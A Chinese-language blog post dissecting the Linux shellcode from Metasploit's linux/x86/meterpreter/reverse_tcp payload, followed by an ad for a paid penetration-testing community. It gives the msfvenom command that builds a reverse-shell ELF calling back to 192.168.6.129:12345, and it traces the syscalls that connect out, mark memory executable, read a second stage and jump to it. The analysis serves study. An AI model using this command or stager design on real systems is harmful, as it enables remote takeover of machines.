网上关于msf生成windows的shellcode解析很多,但是linux却不多,这篇打算带大家了解一下msf 生成的linux shellcode。
Payload生成方式
Msfvenom -p Linux/x86/meterpreter/reverse_tcp lhost=192.168.6.129 lport=12345
-f elf > linux.elf
生成的elf反编译
然后代码量就这么大点,纯汇编
仔细看呢 他们的调用方式是通过int 0x80h进行system call的
System call相关文章:
https://blog.csdn.net/xiaominthere/article/details/17287965
eax中存放系统调用的功能号,传递给系统调用的参数顺序依次放到寄存器:ebx,ecx,edx,esi,edi中
从头到尾解析
首先是
首先eax 为0x66时调用了sys-socket函数
Ebx为1,ecx为args,实际上是调用socket函数,其输入参数在args中。
接下来下一段:
Eax为0x66 调用了sys-socket函数
Ebx为3,ecx为args 实际上调用了connect函数
Connect(fd,esp,0x66)
Esp为(struct sockaddr *)&servaddr
结构体Sockaddr定义如下:
struct sockaddr_in {
sa_family_t sin_family; /* 地址族,AF_INET */
in_port_t sin_port; /* 端口号 */
struct in_addr sin_addr; /* IPv4 地址 */
};
其中 sin_family对应0x2, sin_port 对应0x3039(12345)
Sin_addr 为 0xc0.0xa8.0x06.0x81 = 192.168.6.129
后面两个函数使用mprotect设置内存区域的保护标志(READ|WRITE|EXEC),然后通过read函数来读取connnect连接数据,jmp ecx并执行。
至此,msf采用的payload Linux/x86/meterpreter/reverse_tcp生成的shellcode分析完毕。
帮会双十一活动来啦
帮会领域:专注于APT框架、渗透测试、红蓝对抗等领域
帮会内容覆盖:
1、挖洞技巧和小tips
2、挖洞实战项目案例
3、不定时分享高质量小工具
4、可加入内部群进行攻防技术交流
5、团队内部师傅开发的小工具,优先体验新版本,还可和师傅提出bug获得奖励哦
6、有机会进入团队,成为正式成员,获得更多
活动价格:9.9/月 20/季 79/永久
活动结束后将恢复原价15/月卡、39.9/季卡 将关闭永久会员